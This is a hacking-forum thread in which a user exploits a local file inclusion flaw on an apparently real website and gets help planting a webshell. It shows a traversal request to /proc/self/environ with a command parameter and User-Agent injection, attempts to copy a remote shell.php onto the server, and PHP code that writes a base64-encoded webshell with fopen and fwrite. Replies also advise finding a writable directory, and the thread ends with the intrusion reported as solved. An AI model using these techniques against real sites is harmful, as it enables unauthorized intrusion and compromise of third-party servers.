LFI problems

[billybonse]

I've found a site with LFI include.

Trying to reach shell:

?page=../../../../../../../../../../../../proc/self/environ&cmd=ls;

user-agent -

error - Parse error: syntax error, unexpected T_VARIABLE, expecting T_STRING in /proc/164512/environ on line 1

Help plz.

[billybonse]

When i tried to load shell with User-Agent

i've got error - Warning: copy(www.somesite.com/shell.php (http://www.somesite.com/shell.php)) [function.copy (http://www.eastwestopticians.com/function.copy)]: failed to open stream: No such file or directory in /proc/178928/environ on line 1

[billybonse]

by the way, i can reach phpinfo with this user-agent -

[mailbrush]

billybonse said:
↑ (https://antichat.live/posts/3998498/)
When i tried to load shell with User-Agent
i've got error -
Warning
: copy(
www.somesite.com/shell.php (http://www.somesite.com/shell.php)
) [
function.copy (http://www.eastwestopticians.com/function.copy)
]: failed to open stream: No such file or directory in
/proc/178928/environ
on line
1


Change www. to http://www. and make sure the webshell is served in plaintext, not as a rendered html page.

[billybonse]

the same error:

Warning: copy(1.php) [function.copy (http://www.eastwestopticians.com/function.copy)]: failed to open stream: Permission denied in /proc/383125/environ on line 1

[ol1ver]

Try make file and write content

http://php.net/manual/en/function.fwrite.php


Code:
$fp = fopen('shell.php', 'w+');
fwrite($fp, base64_decode('BASE64_BODY'));
fclose($fp);

[mailbrush]

billybonse said:
↑ (https://antichat.live/posts/3998508/)
the same error:
Warning
: copy(1.php) [
function.copy (http://www.eastwestopticians.com/function.copy)
]: failed to open stream: Permission denied in
/proc/383125/environ
on line
1


It's not the same error. It means the webserver user doesn't have write permissions to the current directory. You've gotta find a writable directory and chdir (http://php.net/manual/en/function.chdir.php) to it before making upload requests.

[billybonse]

problem solved, thx